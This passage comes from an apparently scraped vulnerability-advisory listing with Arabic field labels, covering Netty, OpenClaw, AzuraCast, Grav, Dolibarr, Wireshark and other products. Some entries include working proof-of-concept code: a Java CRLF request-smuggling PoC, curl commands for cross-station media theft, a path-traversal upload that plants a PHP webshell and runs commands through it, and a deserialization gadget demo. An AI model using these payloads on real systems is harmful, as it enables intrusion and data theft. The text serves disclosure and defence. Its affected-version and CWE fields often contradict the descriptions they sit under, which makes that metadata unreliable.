HTTP messages rather than a single request: - `GET /s1` - `POST /s2` with body `Hello World` - trailing `GET /s1` This confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests. ### PoC (RTSP) The same root cause also affects `RtspEncoder`. A minimal reproduction is shown below. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.rtsp.RtspDecoder; import io.netty.handler.codec.rtsp.RtspEncoder; import io.netty.handler.codec.rtsp.RtspMethods; import io.netty.handler.codec.rtsp.RtspVersions; import io.netty.util.CharsetUtil; public final class RtspSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder()); EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder()); DefaultHttpRequest request = new DefaultHttpRequest( RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media"); request.setUri("rtsp://cam/stream RTSP/1.0\r\n" + "CSeq: 1\r\n\r\n" + "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" + "CSeq: 2\r\n\r\n" + "OPTIONS rtsp://cam/final"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded RTSP request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by RtspDecoder ==="); server.writeInbound(outbound.retainedDuplicate()); } } ``` When reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload: ```text OPTIONS rtsp://cam/stream RTSP/1.0 CSeq: 1 DESCRIBE rtsp://cam/secret RTSP/1.0 CSeq: 2 OPTIONS rtsp://cam/final RTSP/1.0 ``` `RtspDecoder` then parses this as three separate RTSP requests: - `OPTIONS rtsp://cam/stream` - `DESCRIBE rtsp://cam/secret` - `OPTIONS rtsp://cam/final` This confirms that the same setter bypass is exploitable for RTSP request injection as well. ### Impact The vulnerable conditions are: - The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest` - The request object is created first and later modified through `setUri()` - The value passed into `setUri()` is attacker-controlled or attacker-influenced - The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder` Under those conditions, an attacker may be able to: - perform HTTP request smuggling - trigger proxy/backend desynchronization - inject additional requests toward internal APIs - confuse request boundaries and bypass assumptions around authentication or routing - inject RTSP requests The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible. ### Root Cause Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant. As a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation. ### Suggested Fix Direction `DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors. Recommended regression coverage: - verify that `setUri()` rejects CRLF-containing input after object construction - verify that `DefaultFullHttpRequest.setUri()` is blocked as well - verify that spaces, `\r`, `\n`, and request-smuggling payloads are rejected - verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses ### Affected Area - `netty-codec-http` - `io.netty.handler.codec.http.DefaultHttpRequest` - `io.netty.handler.codec.http.DefaultFullHttpRequest` - `io.netty.handler.codec.http.HttpRequestEncoder` - `io.netty.handler.codec.rtsp.RtspEncoder`
الإصدارات المتأثرة
4.0.0.Alpha1, 4.0.0.Alpha2, 4.0.0.Alpha3, 4.0.0.Alpha4, 4.0.0.Alpha5
نوع الثغرة
CWE-93 — CWE-93
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
الوصف الكامل
A security flaw has been discovered in IObit Advanced SystemCare 19. This affects an unknown part of the file ASC.exe of the component Service. The manipulation results in symlink following. Attacking locally is a requirement. This attack is characterized by high complexity. It is indicated that the exploitability is difficult. The exploit has been released to the public and may be used for attacks.
نوع الثغرة
CWE-59 — CWE-59
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
## Summary QQBot media tags could read arbitrary local files through reply text. ## Affected Packages / Versions - Package: `openclaw` - Ecosystem: npm - Affected versions: `< 2026.4.10` - Patched versions: `>= 2026.4.10` ## Impact QQBot outbound media tags in AI reply text could reference host-local paths outside the intended media storage boundary, allowing local file disclosure through outbound media handling. ## Technical Details The fix enforces the media storage boundary for all outbound QQBot local file paths. ## Fix The issue was fixed in #63271. The first stable tag containing the fix is `v2026.4.10`, and `openclaw@2026.4.14` includes the fix. ## Fix Commit(s) - `604777e4414cc3b2ff8861f18f4fb04374c702c6` - PR: #63271 ## Release Process Note Users should upgrade to `openclaw` 2026.4.10 or newer. The latest npm release, `2026.4.14`, already includes the fix. ## Credits Thanks to @feiyang666 of Tencent zhuque Lab (https://github.com/Tencent/AI-Infra-Guard) for reporting this issue.
الإصدارات المتأثرة
2026.4.10
نوع الثغرة
CWE-23 — Path Traversal
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
الوصف الكامل
## Summary QQBot reply media URL handling could trigger SSRF and re-upload fetched bytes. ## Affected Packages / Versions - Package: `openclaw` - Ecosystem: npm - Affected versions: `< 2026.4.12` - Patched versions: `>= 2026.4.12` ## Impact QQBot reply media URLs could be treated as trusted media sources, allowing SSRF fetches whose returned bytes were then re-uploaded through the channel. ## Technical Details The fix routes QQBot remote media fetches through SSRF-guarded media fetching and explicit URL allowlist policy. ## Fix The issue was fixed in #63495 and #65788. The first stable tag containing the fix is `v2026.4.12`, and `openclaw@2026.4.14` includes the fix. ## Fix Commit(s) - `08ae021d1f4f02e0ca5fd8a3b9659291c1ecf95a` - `ddb7a8dd80b8d5dd04aafa44ce7a4354b568bb2d` - PR: #63495, #65788 ## Release Process Note Users should upgrade to `openclaw` 2026.4.12 or newer. The latest npm release, `2026.4.14`, already includes the fix. ## Credits Thanks to @threalwinky for reporting this issue.
الإصدارات المتأثرة
2026.4.12
نوع الثغرة
CWE-918 — SSRF
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
المراجع
https://github.com/openclaw/openclaw/commit/ddb7a8dd80b8d5dd04aafa44ce7a4354b568bb2d
https://github.com/openclaw/openclaw/security/advisories/GHSA-2767-2q9v-9326
https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-via-qqbot-reply-media-url-handling
الوصف الكامل
## Summary OpenClaw's outbound host-media attachment read helper could enable host-local file reads based on global or agent-level read access without also honoring sender and group-scoped tool policy. In channel deployments that used `toolsBySender` or group policy to deny `read` for less-trusted senders, a denied sender could still trigger host-media attachment loading and cause readable local files to be returned through the outbound media path. ## Affected Versions This issue is known to affect OpenClaw 2026.4.9. Earlier versions were not confirmed during triage, so the advisory range is intentionally scoped to `>= 2026.4.9 < 2026.4.10`. ## Impact Affected deployments are those that both allow host read or filesystem root expansion at the global/agent level and rely on sender or group-scoped policy to deny `read` for some channel participants. In that configuration, the intended sender/group authorization boundary could be bypassed for outbound media reads, potentially disclosing host-local files readable by the OpenClaw process. The issue does not require treating the model prompt as the security boundary. The vulnerable behavior was a concrete policy enforcement mismatch: sender/group policy denied `read`, while the host-media read helper could still be installed without that sender context. ## Resolution Fixed in OpenClaw 2026.4.10 by PR #64459, commit `c949af9fabf3873b5b7c484090cb5f5ab6049a98`. The fix threads sender, session, channel, and account context into outbound media access resolution and intersects host-media read capability creation with the existing group tool policy for `read`. When a concrete sender/group override denies `read`, OpenClaw no longer creates the host `readFile` media capability. Additional attachment canonicalization hardening shipped in 2026.4.14, but the authorization bypass described here was fixed in 2026.4.10. ## Credit Thanks to @Telecaster2147 for reporting this issue.
الإصدارات المتأثرة
2026.4.9 - 2026.4.10
نوع الثغرة
CWE-863 — Incorrect Authorization
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
الوصف الكامل
## Summary The `GET /api/station/{station_id}/file/{id}/play` endpoint, handled by `PlayAction`, is missing the `Middleware\Permissions` check that protects all sibling routes in the same `/file/{id}` route group. Any authenticated user can download media files from any station, regardless of whether they have permissions on that station. In multi-tenant deployments, this enables cross-station media exfiltration. ## Details In `backend/config/routes/api_station.php`, the `/file/{id}` route group (lines 407-429) defines four endpoints: ```php // Line 407-429 $group->group( '/file/{id}', function (RouteCollectorProxy $group) { // GET /file/{id} — has Permissions check ✓ $group->get('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true)); // PUT /file/{id} — has Permissions check ✓ $group->put('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true)); // DELETE /file/{id} — has Permissions check ✓ $group->delete('', ...)->add(new Middleware\Permissions(StationPermissions::DeleteMedia, true)); // GET /file/{id}/play — NO Permissions check ✗ $group->get('/play', Controller\Api\Stations\Files\PlayAction::class) ->setName('api:stations:files:play'); } ); ``` The middleware chain for the `/play` endpoint is: `GetStation → RequireStation → RequireLogin → StationSupportsFeature(Media) → PlayAction`. The `RequireLogin` middleware (`backend/src/Middleware/RequireLogin.php`) only verifies a valid session/API key exists — it does not check station-level permissions. The controller at `backend/src/Controller/Api/Stations/Files/PlayAction.php:84` calls `$this->mediaRepo->requireForStation($id, $station)`, which verifies the media belongs to the station but performs no authorization check. The `findForStation` method (`StationMediaRepository.php:46-66`) accepts both auto-increment integer IDs and unique IDs, making enumeration trivial via sequential integers. This is notably similar to the regression fixed in commit `7fbc7dd` (2026-02-26), which restored a missing group-level `Permissions` middleware on the adjacent `/files` group. The `/play` route was missed in that fix. ## PoC ```bash # Step 1: Create two stations (Station A and Station B) in a multi-tenant AzuraCast instance. # Upload media files to Station B. # Step 2: Create a user with permissions ONLY on Station A. Generate an API key for this user. API_KEY="user-with-only-station-a-access" # Step 3: Enumerate and download media from Station B (station_id=2) using sequential IDs # This should return 403 Forbidden, but instead returns the file content curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1/play -o stolen1.mp3 # HTTP 200 OK — file downloaded successfully curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/2/play -o stolen2.mp3 # HTTP 200 OK — file downloaded successfully # Step 4: Verify the same user is correctly blocked on other endpoints in the same group curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1 # HTTP 403 Forbidden — permission check works here ``` ## Impact - Any authenticated user can download the full media library of any station in the instance, regardless of their assigned permissions. - In multi-tenant deployments (e.g., hosting providers running multiple radio stations), a user of Station A can exfiltrate all copyrighted audio content from Station B. - Media IDs use auto-increment integers (`HasAutoIncrementId` trait on `StationMedia`), enabling trivial enumeration of all media files. - The confidentiality impact is High: full media file contents (MP3, FLAC, etc.) are exposed. ## Recommended Fix Add the `Permissions` middleware to the `/play` route, matching the pattern used by the adjacent routes: ```php // backend/config/routes/api_station.php, line 426-427 // Before: $group->get('/play', Controller\Api\Stations\Files\PlayAction::class) ->setName('api:stations:files:play'); // After: $group->get('/play', Controller\Api\Stations\Files\PlayAction::class) ->setName('api:stations:files:play') ->add(new Middleware\Permissions(StationPermissions::Media, true)); ```
الإصدارات المتأثرة
All versions < 0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.4
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
## Summary The `currentDirectory` request parameter in the Flow.js media upload endpoint (`POST /api/station/{station_id}/files/upload`) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root. ## Details In `backend/src/Controller/Api/Stations/Files/FlowUploadAction.php`, the `currentDirectory` parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83: ```php // FlowUploadAction.php:79-84 $currentDir = Types::string($request->getParam('currentDirectory')); $destPath = $flowResponse->getClientFullPath(); if (!empty($currentDir)) { $destPath = $currentDir . '/' . $destPath; } ``` While `$flowResponse->getClientFullPath()` is sanitized via `UploadedFile::filterClientPath()` (which strips `..` segments), the `$currentDir` value is prepended **after** this sanitization, reintroducing traversal capability. This `$destPath` is passed to `MediaProcessor::processAndUpload()` at line 95-98. The critical issue is in the `finally` block at `backend/src/Media/MediaProcessor.php:114-117`: ```php // MediaProcessor.php:75-117 try { if (MimeType::isFileProcessable($localPath)) { // ... process media ... return $record; } // ... throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.'); } catch (CannotProcessMediaException $e) { $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage()); throw $e; } finally { $fs->uploadAndDeleteOriginal($localPath, $path); // ALWAYS executes } ``` The `finally` block writes the file to the traversed path **regardless** of whether the file passes MIME type validation. A `.php` file triggers `CannotProcessMediaException`, but the `finally` block still copies it to the destination before the exception propagates. For local storage (the default), `LocalFilesystem::upload()` at `backend/src/Flysystem/LocalFilesystem.php:45-57` resolves the path via `getLocalPath()`: ```php // LocalFilesystem.php:45-57 public function upload(string $localPath, string $to): void { $destPath = $this->getLocalPath($to); // PathPrefixer::prefixPath() — simple concatenation $this->ensureDirectoryExists(dirname($destPath), ...); copy($localPath, $destPath); // OS resolves ../ } ``` `getLocalPath()` delegates to `PathPrefixer::prefixPath()` (League Flysystem), which performs simple string concatenation without normalization. This **bypasses** the `WhitespacePathNormalizer` that would catch traversal if the path went through the standard `Filesystem::write()`/`writeStream()` methods. The OS-level `copy()` then resolves `../` sequences, writing outside the media root. Note: `RemoteFilesystem::upload()` uses `$this->writeStream()` which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable. The route at `backend/config/routes/api_station.php:399-405` requires `StationPermissions::Media` — a permission granted to DJs and station managers, not only admins. ## PoC Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions: **Step 1: Upload a PHP webshell via path traversal** ```bash curl -X POST "http://localhost/api/station/1/files/upload" \ -H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \ -F "flowTotalChunks=1" \ -F "flowChunkNumber=1" \ -F "flowCurrentChunkSize=44" \ -F "flowTotalSize=44" \ -F "flowIdentifier=abc123" \ -F "flowFilename=shell.php" \ -F "currentDirectory=../../../../../var/azuracast/www/public" \ -F "file_data=@shell.php" ``` Where `shell.php` contains: ```php <?php system($_GET['cmd']); ?> ``` Expected response: An error JSON (because `.php` is not a processable media type), but the file has already been written by the `finally` block. **Step 2: Execute commands via the webshell** ```bash curl "http://localhost/shell.php?cmd=id" ``` Expected output: ``` uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast) ``` ## Impact - **Remote Code Execution**: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user. - **Full Server Compromise**: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration. - **Privilege Escalation**: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access. - **Data Exfiltration**: All station data, user credentials, and application secrets become accessible. ## Recommended Fix Sanitize `currentDirectory` in `FlowUploadAction.php` using the same `filterClientPath()` method used for filenames: ```php // FlowUploadAction.php — replace line 79: $currentDir = Types::string($request->getParam('currentDirectory')); // With: $currentDir = UploadedFile::filterClientPath( Types::string($request->getParam('currentDirectory')) ); ``` Additionally, harden `LocalFilesystem::upload()` to normalize paths before use: ```php // LocalFilesystem.php — add path normalization in upload(): public function upload(string $localPath, string $to): void { $normalizer = new WhitespacePathNormalizer(); $to = $normalizer->normalizePath($to); // Throws PathTraversalDetected on ../ $destPath = $this->getLocalPath($to); $this->ensureDirectoryExists( dirname($destPath), $this->visibilityConverter->defaultForDirectories() ); if (!@copy($localPath, $destPath)) { throw UnableToCopyFile::fromLocationTo($localPath, $destPath); } } ``` Also sanitize `flowIdentifier` in `Flow.php:67` to prevent secondary traversal in chunk directory creation.
الإصدارات المتأثرة
All versions < 0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.4
نوع الثغرة
CWE-22 — Path Traversal
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
A vulnerability has been found in PrefectHQ prefect up to 3.6.28.dev1. Affected by this vulnerability is the function validate_restricted_url of the component Webhook/Notification. The manipulation leads to time-of-check time-of-use. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 3.6.28.dev2 addresses this issue. The identifier of the patch is 7c70ac54a5e101431d83b9f2681ec88d5e0021ed. Upgrading the affected component is advised. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.
نوع الثغرة
CWE-362 — Race Condition
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
المراجع
https://github.com/PrefectHQ/prefect/
https://github.com/PrefectHQ/prefect/commit/7c70ac54a5e101431d83b9f2681ec88d5e0021ed
https://github.com/PrefectHQ/prefect/pull/21591
https://github.com/PrefectHQ/prefect/releases/tag/3.6.28.dev2
https://linear.app/prefect/issue/OSS-7874/fix-dns-rebinding-toctou-bypass-in-validate-restricted-url
https://vuldb.com/submit/807303
https://vuldb.com/vuln/360900
https://vuldb.com/vuln/360900/cti
الوصف الكامل
A vulnerability has been found in AV Stumpfl Pixera Two Media Server up to 25.1 R2. The affected element is an unknown function of the component Service Port 1338. Such manipulation leads to path traversal. The exploit has been disclosed to the public and may be used. Upgrading to version 25.2 R3 is sufficient to fix this issue. It is advisable to upgrade the affected component.
نوع الثغرة
CWE-22 — Path Traversal
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
الوصف الكامل
A flaw has been found in AV Stumpfl Pixera Two Media Server up to 25.2 R2. Impacted is an unknown function of the component Websocket API. This manipulation causes code injection. The attack can be initiated remotely. The exploit has been published and may be used. Upgrading to version 25.2 R3 is recommended to address this issue. Upgrading the affected component is advised.
نوع الثغرة
CWE-74 — Injection
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
A security flaw has been discovered in Dolibarr ERP CRM up to 23.0.2. This vulnerability affects the function dol_verifyHash in the library htdocs/core/lib/security.lib.php of the component Online Signature Module. The manipulation results in improper verification of cryptographic signature. The attack may be performed from remote. Attacks of this nature are highly complex. It is stated that the exploitability is difficult. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
الإصدارات المتأثرة
10.0.0, 10.0.1, 10.0.2, 10.0.3, 10.0.4
نوع الثغرة
CWE-345 — CWE-345
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
الوصف الكامل
A vulnerability was identified in Dolibarr ERP CRM up to 23.0.2. This affects the function _checkValForAPI of the file htdocs/expedition/class/expedition.class.php of the component Shipments API Endpoint. The manipulation of the argument fields leads to sql injection. The attack is possible to be carried out remotely. A high degree of complexity is needed for the attack. It is indicated that the exploitability is difficult. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
الإصدارات المتأثرة
10.0.0, 10.0.1, 10.0.2, 10.0.3, 10.0.4
نوع الثغرة
CWE-74 — Injection
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
A vulnerability was detected in sgl-project SGLang up to 0.5.9. Impacted is the function get_tokenizer of the file python/sglang/srt/utils/hf_transformers_utils.py of the component HuggingFace Transformer Handler. The manipulation of the argument trust_remote_code with the input False as part of Boolean results in code injection. The attack can be executed remotely. A high complexity level is associated with this attack. The exploitability is considered difficult. In get_tokenizer(), when the caller passes trust_remote_code=False and HuggingFace transformers v5 returns a TokenizersBackend instance (the generic fallback for tokenizer classes not in the registry), SGLang silently re-invokes AutoTokenizer.from_pretrained with trust_remote_code=True, overriding the caller's explicit security setting. A model repository containing a malicious tokenizer.py referenced via auto_map in tokenizer_config.json will execute arbitrary Python in the SGLang process during this second call. No log line or warning is emitted. The override affects all current SGLang versions because transformers==5.3.0 is pinned in pyproject.toml. Both tokenizer_mode="auto" and tokenizer_mode="slow" are affected. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
الإصدارات المتأثرة
All versions < 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14
نوع الثغرة
CWE-20 — Input Validation
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
iLBC audio codec crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service
الإصدارات المتأثرة
4.4.0 - 4.4.14
نوع الثغرة
CWE-122 — CWE-122
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
الوصف الكامل
RTSP protocol dissector crash in Wireshark 4.6.0 to 4.6.4
الإصدارات المتأثرة
4.6.0 - 4.6.4
نوع الثغرة
CWE-476 — NULL Pointer Deref
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
الوصف الكامل
A security flaw has been discovered in UTT HiPER 1250GW up to 3.2.7-210907-180535. Impacted is the function strcpy of the file route/goform/ConfigAdvideo. The manipulation of the argument Profile results in buffer overflow. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.
نوع الثغرة
CWE-119 — Buffer Overflow
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
A vulnerability was found in Algovate xhs-mcp 0.8.11. This affects the function xhs_publish_content of the file src/server/mcp.server.ts of the component MCP Interface. Performing a manipulation of the argument media_paths results in server-side request forgery. The attack may be initiated remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.
نوع الثغرة
CWE-918 — SSRF
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
Alloksoft Video joiner 4.6.1217 contains a buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious string in the License Name field. Attackers can craft a payload with structured exception handler (SEH) overwrite and shellcode to achieve code execution when the application processes the license registration input.
نوع الثغرة
CWE-120 — Buffer Overflow
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
VideoFlow Digital Video Protection DVP 2.10 contains an authenticated directory traversal vulnerability that allows authenticated attackers to disclose arbitrary files by injecting path traversal sequences in the ID parameter. Attackers can submit requests to downloadsys.pl, download_xml.pl, download.pl, downloadmib.pl, or downloadFile.pl with directory traversal payloads to read sensitive system files like /etc/passwd.
نوع الثغرة
CWE-22 — Path Traversal
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
VideoFlow Digital Video Protection DVP 2.10 contains an authenticated remote code execution vulnerability that allows authenticated attackers to execute arbitrary system commands by exploiting a cross-site request forgery flaw in the web management interface. Attackers with valid credentials can leverage the CSRF vulnerability to inject and execute system commands through the Tools > System > Shell interface, gaining root-level access to the device.
نوع الثغرة
CWE-352 — CSRF
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
الوصف الكامل
Allok Video to DVD Burner 2.6.1217 contains a stack-based buffer overflow vulnerability in the License Name field that allows local attackers to execute arbitrary code by triggering a structured exception handler (SEH) overwrite. Attackers can craft a malicious input string with 780 bytes of junk data followed by SEH chain pointers and shellcode, then paste it into the License Name field during registration to achieve code execution.
نوع الثغرة
CWE-121 — Stack Overflow
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
SQL injection (SQLi) in MegaCMS v12.0.0, specifically in the “id_territorio” parameter of the “/web_comunications/cms/get_provincias” endpoint. The vulnerability arises from inadequate validation and sanitisation of user input. Specifically, via a POST request, the “id_territorio” parameter, used immediately after the registration form is submitted, could be manipulated by an unauthenticated attacker to execute arbitrary SQL queries.
نوع الثغرة
CWE-89 — SQL Injection
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
الوصف الكامل
# Insecure Deserialization in File Cache - **Severity:** High - **CWE:** CWE-502 - **Location:** `system/src/Grav/Framework/Cache/Adapter/FileCache.php` - **Sink:** `unserialize($value, ['allowed_classes' => true])` ## Affected version(s) - **Affected:** `>= 1.7.44` and `<= 1.7.49.5` (verified in current codebase and changelog-covered releases). - **Fixed:** No upstream fix identified in the reviewed branch at the time of analysis. - **Notes:** Earlier `1.7.x` releases may also be affected, but were not fully back-traced in this review. ## Notes `allowed_classes => true` allows object instantiation and does not constrain classes. ## PoC (Primitive Demonstration) ### Preconditions - Local PHP runtime. - Goal is to validate the deserialization primitive used in cache retrieval. ### Steps ```bash php -r ' class CacheWakeup { public function __wakeup(){ file_put_contents("/tmp/grav_filecache_poc.txt", "wakeup"); } } $payload = serialize(new CacheWakeup()); unserialize($payload, ["allowed_classes" => true]); echo file_exists("/tmp/grav_filecache_poc.txt") ? "FILECACHE_UNSERIALIZE_TRIGGERED\n" : "FILECACHE_UNSERIALIZE_NOT_TRIGGERED\n"; ' ``` ### Expected Result - Output contains: `FILECACHE_UNSERIALIZE_TRIGGERED`. ### Interpretation This reproduces the same unsafe primitive used by `FileCache::doGet()`: `unserialize($value, ['allowed_classes' => true])`. If cache files are attacker-tampered, object magic methods may execute. ## Exploit Preconditions - Cache file poisoning/tampering capability. ## Recommendation - Avoid object deserialization in cache payloads. - Use non-object formats and integrity protection for cache files. --- ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`c66dfeb5f`](https://github.com/getgrav/grav/commit/c66dfeb5f) — will ship in **2.0.0-beta.2**. **What changed:** `Framework\Cache\Adapter\FileCache` now HMAC-signs every cache payload with `Security::getNonceKey()` on write, and verifies the HMAC on read. Tampered, forged, or pre-upgrade files are treated as cache misses and unlinked instead of being unserialized. The on-disk format is now versioned: ``` v2 <expires> <key> <hmac-hex> <serialized> ``` Existing caches rebuild transparently on first read. Note that `Framework\Cache\Adapter\FileCache` isn't wired into Grav's main cache path — Symfony's `FilesystemAdapter` is — but the class is reachable by plugin and downstream consumers, so the hardening applies defensively. **Files:** - [`system/src/Grav/Framework/Cache/Adapter/FileCache.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Framework/Cache/Adapter/FileCache.php). - [`tests/unit/Grav/Common/Security/FileCacheSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/FileCacheSecurityTest.php) — round-trip, tampered-payload rejection, wrong-key forgery rejection, pre-v2 file rebuild, key-field mismatch.
الإصدارات المتأثرة
All versions < 0.8.0, 0.9.0, 0.9.1, 0.9.10, 0.9.11
نوع الثغرة
CWE-20 — Input Validation
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
A security vulnerability has been detected in Xuxueli xxl-job up to 3.3.2. The impacted element is an unknown function of the file xxl-job-admin/src/main/java/com/xxl/job/admin/scheduler/openapi/OpenApiController.java of the component OpenAPI Endpoint. Such manipulation of the argument default_token leads to use of hard-coded cryptographic key . It is possible to launch the attack remotely. A high complexity level is associated with this attack. The exploitability is regarded as difficult. The exploit has been disclosed publicly and may be used.
نوع الثغرة
CWE-320 — CWE-320
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
A security flaw has been discovered in Xuxueli xxl-job up to 3.3.2. Impacted is the function logDetailCat of the file xxl-job-admin/src/main/java/com/xxl/job/admin/controller/biz/JobLogController.java of the component Execution Log Handler. The manipulation of the argument logId results in improper control of resource identifiers. The attack may be performed from remote. This attack is characterized by high complexity. The exploitability is considered difficult. The exploit has been released to the public and may be used for attacks. Upgrading to version 3.4.0 is recommended to address this issue. The patch is identified as d24e4ccd6073cc75305e1d3b9c29bc8db7437e7a. It is suggested to upgrade the affected component.
نوع الثغرة
CWE-99 — CWE-99
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
المراجع
https://github.com/xuxueli/xxl-job/commit/d24e4ccd6073cc75305e1d3b9c29bc8db7437e7a
https://github.com/xuxueli/xxl-job/issues/3936
https://github.com/xuxueli/xxl-job/releases/tag/v3.4.0
https://vuldb.com/submit/803075
https://vuldb.com/vuln/359959
https://vuldb.com/vuln/359959/cti
الوصف الكامل
A security vulnerability has been detected in o2oa up to 10.0. This impacts the function syncFile of the file NodeAgent.java of the component NodeAgent. The manipulation leads to improper authorization. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitability is said to be difficult. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.
نوع الثغرة
CWE-266 — CWE-266
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
